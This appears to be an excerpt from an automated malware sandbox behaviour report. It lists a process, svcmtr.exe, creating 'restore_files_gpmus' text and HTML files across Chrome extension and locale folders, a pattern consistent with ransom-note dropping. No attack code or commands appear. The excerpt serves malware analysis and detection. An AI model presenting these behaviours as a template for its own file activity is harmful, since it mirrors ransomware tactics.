Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\8.3_0\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\8.3_0\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\ar\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\ar\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\bg\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\bg\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\ca\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\ca\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\cs\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\cs\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\da\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\da\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\de\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\de\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\el\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\el\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\en_GB\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\en_GB\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\en_US\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\en_US\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\es\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\es\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\es_419\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\es_419\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\et\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\et\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\fi\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\fi\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\fil\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\fil\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\fr\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\fr\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\he\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\he\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\hi\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\hi\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\hu\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\hu\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\id\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\id\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\it\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\it\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\ja\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\ja\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\ko\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\ko\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\lt\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\lt\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\lv\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\lv\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\ms\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\ms\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\nl\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\nl\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\no\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\no\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\pl\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\pl\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\pt_BR\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\pt_BR\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\pt_PT\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\pt_PT\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\ro\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\ro\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\ru\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\ru\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\sk\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\sk\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\sl\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\sl\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\sr\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\sr\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\sv\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\sv\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\th\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\th\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\tr\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\tr\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\uk\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\uk\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\vi\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\vi\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\zh_CN\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\zh_CN\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\zh_TW\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\zh_TW\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_locales\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_metadata\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\_metadata\restore_files_gpmus.html	Jump to behavior
